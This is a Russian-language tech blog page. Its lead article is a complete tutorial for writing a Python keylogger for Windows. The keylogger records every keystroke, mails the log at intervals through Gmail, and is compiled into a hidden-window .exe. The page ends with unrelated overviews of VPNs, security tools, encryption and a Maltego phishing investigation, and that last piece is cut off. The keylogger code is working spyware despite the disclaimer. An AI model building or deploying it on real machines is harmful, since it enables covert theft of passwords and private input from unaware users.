Category: Хакинг

05
Май
2022

🕵 Пишем кейлоггер на Python для Windows за 5 минут

Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

        pip3 install keyboard
    

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

        import keyboard 
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
    

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

Инициализируем параметры

        SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "notmypassword"
    

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

        class Keylogger:
    def __init__(self, interval, report_method="email"):
        # передаем SEND_REPORT_EVERY в интервал
        self.interval = interval
        self.report_method = report_method
        # это строковая переменная, которая содержит лог
        self.log = ""
        #запись начала и окончания даты и времени
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()
    

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

        def callback(self, event):
        name = event.name
        if len(name) > 1:
            #не символ, специальная клавиша (например, ctrl, alt и т. д.)
            #верхний регистр
            if name == "space":
                #" " вместо пробелов
                name = " "
            elif name == "enter":
                #добавлять новую строку всякий раз, когда нажимается ENTER
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                #замените пробелы символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #добавить имя ключа в глобальную переменную
        self.log += name
    

Пишем метод для записи в локальный файл

        def update_filename(self):
        #создать имя файла, которое будет идентифицировано по дате начала и окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # создать файл
        with open(f"{self.filename}.txt", "w") as f:
            # записать лог
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    

Отправка на email

         def sendmail(self, email, password, message):
        # управляет подключением к SMTP-серверу
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # подключиться к SMTP-серверу в режиме TLS
        server.starttls()
        # логин
        server.login(email, password)
        # отправить сообщение
        server.sendmail(email, email, message)
        # завершает сеанс
        server.quit()
    

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

         def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # обновить `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()
    

Давайте определим метод on_release():

        def start(self):
        #записать дату и время начала
        self.start_dt = datetime.now()
        #запустить кейлогер
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

    

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

        if __name__ == "__main__":
    # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи в локальный файл оставляем как есть
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
    

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

        pip3 install pyinstaller
    

И собираем все в файл:

        pyinstaller --onefile -w 'keylogger.py'
    

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

14
Мар
2022

🕸️🔓 Как обойти блокировку популярных сайтов: ТОП-6 расширений и VPN-сервисов

Не будем сыпать соль на рану и перечислять сайты, которые уже были заблокированы. Сейчас всем очевидно одно: нужно ставить VPN и другие необходимые расширения как можно скорее. В этой статье перечислим самые лучшие платные и бесплатные VPN-сервисы для различных платформ.

Данная статья не является призывом к нарушению действующего законодательства. Используйте VPN и другие сервисы в рамках закона.

Что такое VPN?

VPN – это обобщённое название технологий, позволяющих обеспечить одно или несколько сетевых соединений поверх другой сети (например, Интернет).

При подключении к интернету пользователю выдаётся IP-адрес из группы адресов, принадлежащей провайдеру.

По законодательству, провайдеры должны предоставлять по требованию властей информацию об IP-адресе пользователя и адреса серверов, к которым он подключался. При VPN-подключении третьи лица не могут узнать содержимое трафика без ключей шифрования.

Основные критерии выбора VPN

Местоположение компании

Компании, базирующиеся в странах-членах Five Eyes, Nine Eyes и 14 Eyes, международных альянсов по наблюдению, обязывают компании передавать данные клиентов. Например, в США (Five Eyes) правительство вынуждает компании предоставлять им информацию о клиентах, как было в случае с VPN-сервисом IPVanish.

В идеале нам нужна компания с чистой совестью, располагающаяся вне ЕС, которая никогда не передавала данные о клиентах правительству. Также желательно, чтобы VPN базировался в стране, где нет собственных законов о хранении данных.

Политика конфиденциальности

Почти все виртуальные частные сети утверждают, что у них есть политика «нулевых журналов», но для большинства из них это не так. Хотя большинство VPN не регистрируют веб-трафик, многие хранят IP-адреса, время и продолжительность посещений, объем использованных данных и многое другое. Чтобы узнать, сколько данных собирает компания, следует ознакомиться с политикой конфиденциальности и проверить, хранят они только минимальный объем данных, необходимый для поддержки учетной записи пользователя, которая обычно представляет собой только адрес электронной почты и платежную информацию, или же нет.

Методы шифрования

Рекомендуем компании, которые используют новейшие методы шифрования, такие как, например, AES-256, в отличие от устаревшего AES-128.

Также к критериям можно отнести максимально возможное число устройств на один аккаунт, скорость соединения, размер бесплатного трафика, доступ к торрентам и Nertfix.

Плюсы платных:

  1. Большое число серверов и стран для подключения.
  2. Повышенный уровень конфиденциальности.
  3. Высокий уровень скорости.
  4. Доступ к торрентам, Netflix и другим сервисам. Имейте в виду, что не все VPN-сервисы позволяют пользоваться торрентами.

Минусы платных:

  1. Платные.
  2. Могут возникнуть проблемы с оплатой из-за санкций.

Тем не менее решение о выбор платного или бесплатного сервиса стоит принимать, ориентируясь на финансовые возможности, желаемый уровень конфиденциальности, поддерживаемые платформы, скорость, доступ к торрентам и так далее.

Мы рассмотрим сервисы, предлагающие платную, бесплатную или ограниченно-бесплатную подписки.

1. NordVPN


Многие крупные ресурсы (например, security.org) признают NordVPN одним из самых лучших благодаря тому, что в основе работы лежит технология двойного шифрования, обеспечивающая высокую степень защиты, а также относительно недорогим тарифным планам.

NordVPN базируется в Панаме, не являющейся членом Five Eyes, Nine Eyes или 14 Eyes. Доступ к торрентам и Netflix присутствует. К минусам можно отнести то, что NordVPN заблокирован на территории РФ, поэтому для скачивания вам нужен еще какой-нибудь один вспомогательный VPN (например, любой бесплатный).

Бесплатного пробного периода нет, к сожалению, однако стоимость при подписке на год-два становится существенно ниже.

Обычно NordVPN приобретают независимые журналисты, общественные деятели, которым крайне важно обеспечить безопасность в сети. Если вас полностью устраивает тарифная сетка, то вы получите не только высокий уровень безопасности, но и хорошую скорость.

2. Surfshark


Surfshark также признается одним из лучших безопасных VPN с высокой скоростью. Базируется на Виргинских островах, которые не состоят в упомянутых выше альянсах по наблюдению.

Вы можете использовать данный VPN на неограниченном числе устройств. Годовая или двухгодовая подписки позволяют существенно снизить стоимость подписки. Имеет 30-дневный пробный период.

Лучшие VPN с бесплатной версией

1. ProtonVPN


На мой взгляд, ProtonVPN можно назвать лучшим бесплатным VPN. Компания базируется в Женеве (Швейцария) и не подпадает под действие соглашений о наблюдении Five Eyes, Nine Eyes или 14 Eyes. В бесплатной версии он доступен только на одном устройстве, но при этом предлагает 48 серверов в 3 странах. Сам ProtonVPN заявляет среднюю скорость для бесплатной версии, однако многие отмечают удивительно высокую скорость по сравнению с другими бесплатными аналогами.

ProtonVPN осуществляет строгую политику отсутствия журналов активности. Компания собирает о пользователях только адреса электронной почты, платежную информацию и временные метки. Специалисты security.org провели исследование и выяснили, что единственным запросом на получение данных от сервиса был запрос от швейцарских судов за 2019 год. Поскольку ProtonVPN не собирает IP-адреса или онлайн-активность ни одного из своих пользователей, ему нечего было передавать.

Вам нужно завести учетную запись и выбрать платформу. Стоит сказать, что выбор действительно большой:

<i>Источник: protonvpn.com</i>
Источник: protonvpn.com

К минусам можно отнести ограничение трафика на бесплатной версии до 500 мб трафика в месяц и ограничение «один аккаунт=одно устройство». Но всегда ведь можно завести несколько аккаунтов 😉

2. AtlasVPN


Atlas VPN — новый сервис VPN, который уже успел впечатлить шифрованием AES-256 и строгой политикой конфиденциальности. Кроме того, он предлагает неограниченное количество одновременных подключений, IP-адреса (которые меняются во время просмотра) и бесплатный монитор утечки данных.

Специалисты прогнозируют, что в ближайшие месяцы и годы вы еще услышите об этой VPN. Бесплатный VPN от Atlas — это действительно хороший VPN, который может обеспечить вашу безопасность во время просмотра веб-страниц. Вы ограничены только тремя серверами, но ограничений на объем данных нет, и вам никогда не придется беспокоиться о том, что Atlas передаст вашу личную информацию кому-либо.

Поддерживает Windows, MacOS, Android и iOS.

3. 1.1.1.1


Хостер сайтов CloudFlare предоставляет бесплатный доступ к своему приложению 1.1.1.1. Суть его работы состоит в том, что сначала трафик шифруется, а затем направляется в свою сеть, но при этом персональная информация (IP-адреса, MAC-адреса и др.) передается сайтам.

К очевидным плюсам можно отнести отсутствие регистрации и высокую скорость соединения:

<i>Источник: https://1.1.1.1/</i>
Источник: https://1.1.1.1/

Доступно для большинства популярных платформ:

<i>Источник: https://1.1.1.1/</i>
Источник: https://1.1.1.1/

4. Lantern


Lantern – это своеобразная альтернатива VPN, которая становится все более популярной. Lantern представляет собой программное приложение с открытым исходным кодом, которое использует одноранговую сеть для создания интернет-соединений. В результате ваше местоположение не может быть отслежено, поскольку оно смешивается с местоположениями других пользователей.

Доступно для Windows, MacOS, Linux, Android и iOS.

***

Я рекомендую выбирать тот VPN, который будет для вас оптимальным по стоимости, безопасности, скорости и др. Если для вас на первом месте безопасность – выбирайте NordVPN или любой из представленных в статье платных вариантов.

Если же вам нужен именно бесплатный тариф с высокой степенью защиты, то выбирайте ProtonVPN. Если же вас не устраивает ограничение трафика и хочется скорость побольше, при этом вы готовы чуть пожертвовать уровнем конфиденциальности, то, пожалуй, лучше всего подойдет 1.1.1.1.

Однако в текущих условиях рекомендую подстраховаться и установить несколько VPN.

Условия использования, тарифы и политику возврата средств уточняйте на официальных ресурсах представленных сервисов.

Спасибо за прочтение и берегите себя!

Источники:

  1. security.org/vpn/best/#vpn-services
  2. security.org/vpn/app/

Материалы по теме

Простая видеоинструкция по установке OpenVPN на Ubuntu

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека программиста»

11
Фев
2022

🕵 Как взламывать легально и не попасть за решетку: туториал по тестированию на проникновение

Объясняем, зачем нужен специалист, который действует как хакер; в чем разница между черным, белым и серым ящиками тестирования; как применять четыре фазы тестирования; и что такое мануальный и автоматический пентестинг.

06
Фев
2022

🕵 Лучшие инструменты для специалиста по кибербезопасности в 2022 году

На вооружении у специалиста по кибербезопасности масса инструментов: сканеры веб-уязвимостей, программы для аудита паролей, анализа пакетов, пентеста, шифрования и многое другое. Поговорим о самых лучших и актуальных из них.

Сегодня информационная безопасность является приоритетной задачей в большинстве компаний. Инновационные технологии и их использование в каждой области нашей жизни ведут к повышению уровня киберпреступлений.

Успешные атаки наносят порой непоправимый ущерб предприятию – финансовые убытки, компрометация данных компании и ее клиентской базы, и, как следствие, ущерб репутации.Помимо этого, немаленькие судебные издержки и простои предприятия из-за длительных тяжб.

Поэтому каждый руководитель стремится внедрить в структуру своего бизнеса самые эффективные и оптимальные средства управления информационной безопасностью. Постоянный мониторинг сети позволяет предупредить атаки злоумышленников и сохранить свои конфиденциальные данные. Это небольшой, но емкий обзор самых лучших инструментов, которые должны быть у каждого специалиста по информационной безопасности (далее – ИБ).

Инструменты для мониторинга сетевой безопасности

Argus

Argus
Argus

Инструмент информационной безопасности на базе открытого исходного кода, который чаще всего используется в анализе трафика сети. Название Argus – аббревиатура Audit Record Generation and Utilization System (система формирования и использования аудиторских записей).

Задача Argus заключается в проведении углубленного анализа информации, которая находится и перемещается в сети. У этого инструмента достаточно мощности для мониторинга больших объемов трафика и предоставления полных актуальных отчетов.

Nagios

Nagios
Nagios

Помогает специалистам по ИБ мониторить и управлять сетью, подключенными хостами и системой клиента удаленно в режиме реального времени. Пользователь получает уведомление о возможной кибератаке при обнаружении подозрительной активности и такие предупреждения клиент может настроить «под себя». Инструмент отслеживает большинство популярных служб – SMTP, NNTP, ICMP, POP3, HTTP и многие другие.

Больше полезной информации вы можете найти на нашем телеграм-канале «Библиотека хакера»

OSSEC

OSSEC
OSSEC

Инструмент ИБ с открытым исходным кодом для предупреждения хакерских атак, который предоставляет сетевую аналитику активности в режиме реального времени. Пользователь имеет возможность персональной настройки мониторинга точек доступа по различным категориям – реестрам, процессам, руткитам, журналам и файлам.

OSSEC полезен тем, что доступен на разных используемых платформах – Windows, Linux, Mac, VMWare ESX и BSD.

POf

Инструмент, который часто используется при мониторинге активности пользовательской сети, несмотря на то, что разработчики уже несколько месяцев не выпускали обновлений. POf хорошо оптимизирован и не создает дополнительный трафик во время своей работы. Используется для выявления узлов операционных систем, подключаемых к внутренней сети предприятия.

Помимо этого, POf эффективен при поиске запросов по категориям и именам. Подходит для опытных специалистов по ИБ – у новичков могут возникнуть трудности с использованием.

Splunk

Splunk
Splunk

Универсальный инструмент для контроля безопасности сети. Используется как для поиска информации об угрозах за прошлые периоды, так и мониторинга в режиме реального времени. Кроме функции поиска, Splunk оснащен уникальным пользовательским интерфейсом, который полезен при предоставлении отчетов ИБ и предупреждении о возможных атаках.

Инструменты для обнаружения сетевых вторжений

Acunetix

Acunetix
Acunetix

Предприятия часто опасаются хакерских атак, исходящих от межсетевых экранов, социальной инженерии и внутренней архитектуры компании и забывают о веб-приложениях и сайтах. Инструмент Acunetix занимается мониторингом активности и проблемами безопасности от всех возможных источников, а также проводит «репетиции» конвекционных атак для проверки эффективности применяемых средств ИБ.

Forcepoint

Forcepoint
Forcepoint

Инструмент используется при настройке SD-Wan для ограничения доступа пользователей компании-клиента к определенным ресурсам, а также для блокирования уязвимостей. В отличие от других инструментов, Forcepoint практически мгновенно выявляет проблему и предпринимает действия по обеспечению безопасности. Инструмент особенно полезен пользователям облачных хранилищ.

GFI LanGuard

Подходит для постоянного контроля сети, мониторинга уязвимостей и обеспечения должного уровня ИБ. Проводит аудит сети и ПО как мобильных устройств, так и стационарного электронного оборудования. Особенно популярен среди пользователей Windows, Mac и Linux.

Snort

Система поиска и предупреждения хакерских атак в сети с открытым кодом. Используется при анализе трафика внутренней сети и его сравнении с ранней базой данных о нападениях. Snort может быть внедрен на любую современную платформу и операционную систему и предотвращает уникальные атаки CGI – дактилоскопические, с переполнением буфера и скрытым сканером портов.

Инструменты для сканирования веб-уязвимостей

Burp Suite

Burp Suite
Burp Suite

Инструмент используется для мониторинга в режиме реального времени для определения критических уязвимостей. Также Burp Suite проводит тренировочные атаки для определения и предупреждения всех возможных нападений на данные компании. Есть три версии программ: Предприятие, Профессионал и Сообщество. Первые две – коммерческие, а третья – бесплатная, с лимитированным набором функций.

Nessus Professional

Nessus Professional
Nessus Professional

Кроме стандартных функций, также занимается улучшением целостности сети – исправляет «казусы» ИБ, конфигурацию параметров безопасности и многое другое. Версия Nessus Professional дает возможность использования бесплатной уязвимости с открытым исходным кодом. База данных уязвимостей обновляется ежедневно.

Nexpose

Используется для выявления уязвимостей и слабых мест в системе пользователя. База данных постоянно обновляется, что позволяет адаптировать среду сети под новые виды уязвимостей. Кроме этого, специалисты по ИБ могут оценивать риск уязвимостей, расставлять их в приоритетном порядке и своевременно реагировать на угрозы.

Nikto

Инструмент с открытым исходным кодом для мониторинга и контроля за кибератаками, в базе которого содержится более 6500 типов уязвимостей и возможных угроз. Программа постоянно обновляется, добавляются новые плагины для совместимости инструмента с новыми версиями операционных систем.

Nmap

Бесплатный сетевой картограф для управления сетями и выявления уязвимостей в системе. Утилита дает специалисту по ИБ обзор всех необходимых характеристик системы пользователя, такие как фильтры пакетов и межсетевых экранов, ОП, хосты и прочее.

Paros Proxy

Инструмент на базе Java, используемый при тестировании безопасности сети к уязвимостям и кибератакам. Здесь используются регистратор трафика, сканер уязвимостей и веб-паук – все в режиме реального времени. Кроме стандартных атак, Paros Proxy рассматривает атаки с использованием SQL-инъекций и межсайтовые сценарии.

Инструменты кибербезопасности для аудита паролей и анализатора пакетов

Cain and Abel

Один из первых и бесплатных инструментов ИБ, используемых на Windows – отсюда и название (дети первых людей на Земле). Позволяет выявлять уязвимости в паролях системы и может их восстанавливать. У инструмента обширная функциональность – от записи сообщений VoIP до анализа протоколов маршрутизации.

John the Ripper

John the Ripper
John the Ripper

Используется для проверки безопасности новых и старых баз паролей, которые могут ставить под угрозу конфиденциальные данные компании пользователя. Вначале программа работала только на Unix, но сегодня уже внедрена на Windows, DOS и OpenVMS.

Tcpdump

Tcpdump
Tcpdump

Инструмент, используемый для перехвата пакетов данных во внутренней сети предприятия и мониторинга трафика TCP и IP. Безопасность системы проверяется при помощи фильтрации потока информации на узлах приема/передачи сети.

Wireshark

Wireshark
Wireshark

Консольный инструмент кибербезопасности, ранее называвшийся Ethereal, используется в анализе сетевого трафика и безопасности пользовательской системы в режиме реального времени. Wireshark рассматривает все уровни ИБ сети – от узла соединения до распределения пакетов данных.

Инструменты кибербезопасности для защиты сети

Aircrack-ng

Это целый набор инструментов для проверки сети Wi-Fi на возможные уязвимости. Специалистами ИБ применяется при захвате пакетов данных, проходящих в сети, а уникальная функция экспорта такой информации в текстовом формате позволяет более качественно оценивать риски безопасности в системе. Кроме этого, инструмент оценивает надежность ключей типа WPA-PSK и WEP, проводя тестовые атаки на них.

KisMAC

Инструмент для безопасности сети в MAC OS X. Большинство функций применяют только опытные специалисты по ИБ. Например, сканирование сети Wi-Fi на картах AirPort, Apple AirPort Extreme и других. Здесь используются проверочные атаки методом отбора и использования уязвимостей ключей безопасности, паролей и слабого планирования доступа к базам данных.

Netstumbler

Бесплатный инструмент для операционок Windows, позволяющий обнаруживать открытые порты в сети системы. Здесь используется метод WAP-поиска таких портов и другие уникальные способы выявления уязвимостей.

Инструменты тестирования на проникновение

Kali Linux

Kali Linux
Kali Linux

Обширная, но простая исполняемая экосистема, в наличии которой более 300 инструментов для обеспечения пользовательской кибербезопасности, используемых при сканировании систем и проверки сетей на наличие уязвимостей. Инструмент будет полезен как профи, так и новичкам в области ИБ.

Metasploit

Коллекция инструментов для тестирования проникновения злоумышленников в систему пользователя. Полезен при сканировании сети на наличие уязвимостей, планировании стратегий по усилению безопасности данных от возможных атак.

Инструменты шифрования

KeyPass

KeyPass
KeyPass

Инструмент для контроля за идентификацией. Отлично подходит для офисного ПО, что позволяет работникам использовать один и тот же пароль для разных учетных записей. Есть функция мастер-пароля, что позволяет обезопасить личные и конфиденциальные данные от незаконного вторжения.

Tor

Tor
Tor

Обеспечивает конфиденциальность клиента во Всемирной паутине при помощи маршрутизации запросов на разных прокси-серверах для того, чтобы их невозможно было отследить. Это обеспечивает должный уровень безопасности пользователя от вредоносных выходных узлов и лишнего сетевого трафика.

TrueCrypt

Несмотря на то, что последние обновления вышли уже несколько лет назад – TrueCrypt держится в ТОП лучших и часто используемых инструментов по ИБ. Здесь есть возможность шифровки раздела носителя, устройств хранения и генерация виртуальных дисков.

***

Сегодня кибербезопасность стремительно развивается и оперативно отражает, а порой и предупреждает хакерские атаки на сети. Мы представили 27 самых эффективных и популярных инструментов, которые будут полезны как профессиональным специалистам по ИБ, так новичкам и любителям.

Рекомендуем попробовать бесплатные версии программ, чтобы убедиться в их полезности именно для ваших целей – в каждой из них есть уникальные функции, подходящие для разных компаний и предприятий.

Материалы по теме

27
Янв
2022

🕵 Я тебя не «иаонмпю»: о принципах работы симметричного и ассиметричного шифрования

Волк Боб и волк Джейн рассказывают, как работает шифрование.

Как мы можем определить понятие шифрования?

Предположим, что мы хотим отправить данные другому человеку и нам нужна гарантия того, что только получатель сможет интерпретировать содержимое. Такая гарантия называется шифрованием.

Мы можем объединить шифрование с конфиденциальностью. ШИФРОВАНИЕ = КОНФИДЕНЦИАЛЬНОСТЬ

Характеристика шифрования разделяется на 2 состояния:

  1. Простой текст: данные до шифрования и после расшифровки.
  2. Шифрованный текст: данные, зашифрованные в текущий момент.

Использование простого процесса шифрования может привести к проблемам масштабируемости и, как следствие, к проблемам безопасности.

Попробуйте представить себе, что слово Hello шифруется сотни раз разными способами и вы быстро поймете, что масштабируемость не самая лучшая. Как мы можем это исправить? В этом случае на помощь приходит шифрование на основе ключей.

Шифрование на основе ключей

Использование шифрования на основе ключа более эффективно, поскольку мы можем использовать промышленно-протестированный алгоритм в сочетании с секретным ключом.

Варианты, которые делают шифрование более эффективным и масштабируемым, следующие:

  • алгоритм, изученный и созданный экспертами;
  • секретный ключ, который может быть рандомизирован, когда мы захотим;

Существуют 2 типа шифрования на основе ключа:

  1. Симметричное шифрование (шифрование и дешифрование с помощью одинаковых ключей)
  2. Асимметричное шифрование (шифрование и расшифровка с помощью разных ключей).

Рассмотрим подробнее, как работают эти два метода.

Начнем с симметричного шифрования. Попытаемся зашифровать и расшифровать слово hello с помощью следующих механизмов:

  1. Простой алфавит.
  2. Секретный ключ = 3.

С помощью описанного выше ключа и отсчета три раза вправо от буквы H, мы получим букву K. Далее, используя ту же процедуру с остальными буквами, которые составляют выбранное нами слово, мы получим зашифрованное слово: khoor.

Применяя тот же ключ и алгоритм в обратном порядке, мы можем восстановить ранее зашифрованное слово.


Асимметричное шифрование

Перейдем к асимметричному шифрованию.

В отличие от симметричного режима, асимметричное шифрование, как мы видели ранее, использует два разных ключа. Первый – для шифрования, второй – для расшифровки. Рассмотрим этот вид шифрования на примере:


Используем секретный ключ, равный числу 21 и обратимся к простому алфавиту. Мы получим наше слово в зашифрованном виде.

Для расшифровки слова, как показано на изображении выше, мы используем не секретный ключ для шифрования, а ключ, равный числу 5.

Для того чтобы этот механизм работал, необходимо учитывать следующие условия:

  1. Два используемых ключа должны быть математически связаны.
  2. Для шифрования и дешифрования используются два разных ключа.

Концепция открытого и закрытого ключа основана на данной системе. Остановимся подробнее на этих двух терминах.

Предположим, волк Джейн хочет отправить секретное сообщение волку Бобу. Волк Боб использует систему асимметричного шифрования и обнародует свой ключ, который волк Джейн будет использовать для шифрования сообщения.

После того как волк Джейн зашифрует сообщение с помощью ключа волка Боба, сообщение может быть расшифровано Бобом с помощью его закрытого ключа. Он не должен никому его передавать, иначе каждый может использовать приватный ключ для прочтения сообщения волка Джейн.

Передача сообщений между волками, каждый из которых обладает секретным ключом
Передача сообщений между волками, каждый из которых обладает секретным ключом

Особенности шифрования

Кроме описанных выше особенностей, также есть другие особенности, которые необходимо учитывать при симметричном и асимметричном шифровании.

Когда речь идет о безопасности, асимметричный режим является наиболее эффективным, поскольку закрытый ключ никогда не передается. Однако, это единственный аргумент в пользу асимметричного режима. Поэтому он используется в основном для пересылки ограниченных данных.

Если речь идет о скорости передачи данных и потреблении ресурсов, то симметричный режим имеет неоспоримое преимущество. Потому что он может быть использован для отправки значительных объемов данных.

Как можно совместить преимущества скорости симметричного шифрования и безопасность асимметричного режима?

Для этого существует гибридный режим, который позволяет использовать асимметричный режим вместе с симметричным ключом. Например, гибридный режим применяется в сетевом протоколе SSL/TLS.

Рассмотрим, как это работает: Волку Джейн нужно отправить огромное количество данных волку Бобу.

Теперь волк Джейн обладает случайным симметричным ключом
Теперь волк Джейн обладает случайным симметричным ключом

Для этого волк Джейн использует открытый ключ (public key) волка Боба, чтобы отправить ему свой симметричный ключ.

После того как волк Джейн поделится своим симметричным ключом, единственный, кто может расшифровать это сообщение, это волк Боб со своим закрытым ключом.

Далее, обе стороны устанавливают симметричный ключ и начинают пересылать большие объемы данных с более высокой скоростью передачи.

Расшифровать эти данные можно только симметричным ключом, который волк Джейн передала волку Бобу.

Волк Боб получил свой случайный симметричный ключ и теперь может отправлять защищенные сообщения Джейн
Волк Боб получил свой случайный симметричный ключ и теперь может отправлять защищенные сообщения Джейн
***

Существует несколько способов передачи данных, каждый из которых имеет свои преимущества и недостатки. Гибридный режим является оптимальным вариантом, так как он совмещает в себе положительные стороны как асимметричного шифрования, так и симметричного.

***

Материалы по теме

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

11
Янв
2022

🕵 ТОП-20 самых вдохновляющих проектов по информационной безопасности

Хотите начать свое дело, но нет идеи? Держите двадцать проектов из сферы кибербезопасности, которые обязательно вас заинтересуют и, возможно, вдохновят на создание собственного стартапа.

10
Дек
2021

⛓ Как взломать блокчейн: 10 самых распространенных атак на криптовалюты и распределенные базы данных

В последнее время все чаще можно услышать о скандалах, связанных со взломами и утечками информации. Блокчейн кажется абсолютно безопасным, но так ли это на самом деле? Рассказываем о десятке самых распространенных атак на распределенные баз…

01
Дек
2021

🕵 Я узнаю тебя из тысячи: поиск киберпреступников с помощью Maltego. Опыт REG.RU

В REG.RU мы часто сталкиваемся с разными случаями мошеннической активности: от спама и регистрации фишинговых доменов до взломов аккаунтов клиентов и угонов доменов. Некоторые случаи требуют тщательного расследования и анализа, в том числе с помощью специального ПО. Сегодня мы расскажем о программе Maltego, и как с помощью неё вычислить мошенника. Это не рекламная статья. Все примеры и кейсы вымышлены, совпадения случайны.

Что такое Maltego?

Maltego – это программа для автоматизации сбора информации из различных источников и дальнейшего представления в удобном графическом формате, где наглядно видны связи между разными объектами. Инструмент также применяется в расследованиях и разведке на основе открытых/закрытых источников.

Есть несколько вариантов лицензий Maltego:

  • Бесплатные Maltego CaseFile, Maltego Community Edition
  • Платные Maltego Professional, Maltego Enterprise

Вся информация в Maltego представлена в виде графа (схемы с указанием узлов и связей).

Пример представления информации в Maltego
Пример представления информации в Maltego

В графе отображены различные объекты (Entities). Объектом может быть любая единица информации: IP-адрес, домен, email, номер телефона, ФИО, организация и т.д. Объекты соединяются связями (Links).

Пример связей между объектами в Maltego
Пример связей между объектами в Maltego

Добавлять объекты и связи можно как вручную, так и автоматически, используя трансформации (Transforms) – скрипты, которые ищут данные о выбранном объекте в различных источниках и выводят её на граф в виде объектов.

Также в Maltego есть набор встроенных трансформаций. Например, для получения информации об IP-адресе есть большой набор встроенных трансформаций: получение данных Whois, местоположения, проверка по базам фродов и спискам нод TOR.


Трансформации можно скачивать и устанавливать дополнительно из маркетплейса Transforms Hub в самой программе.

Интерфейс Maltego Transforms Hub
Интерфейс Maltego Transforms Hub

Для скачивания некоторых трансформаций из хаба потребуется API-ключ для сервисов, откуда запрашивается информация. Для этого потребуется зарегистрироваться на самих этих сервисах.


Можно также писать собственные трансформации, что пригодится для поиска информации по внутренним источникам.

Применение в расследованиях

Возможности Maltego полезны для расследований компьютерных инцидентов, например, когда нужно проанализировать большие объёмы информации из логов и баз данных, выявить взаимосвязи и найти улики. Давайте разберём, что может программа на примере вымышленного, но типичного расследования.

Расследование: найти создателя фишинговых сайтов

Сценарий: Поступила жалоба на фишинговый сайт, который имитирует сайт банка и ворует данные кредитных карт. Доменное имя сайта MOB-VTB24.RU похоже на домен банка ВТБ. Сайт, расположенный на этом домене внешне похож на сайт банка а также запрашивает данные банковской карты, а значит используется для фишинга. Сразу предположим, что злоумышленник вряд ли мог ограничиться одним доменом, к тому же он мог завести несколько разных аккаунтов.

Цель расследования: Найти все домены злоумышленника, удостовериться что они фишинговые, и заблокировать его аккаунты. Домены отправить на идентификацию данных администратора.

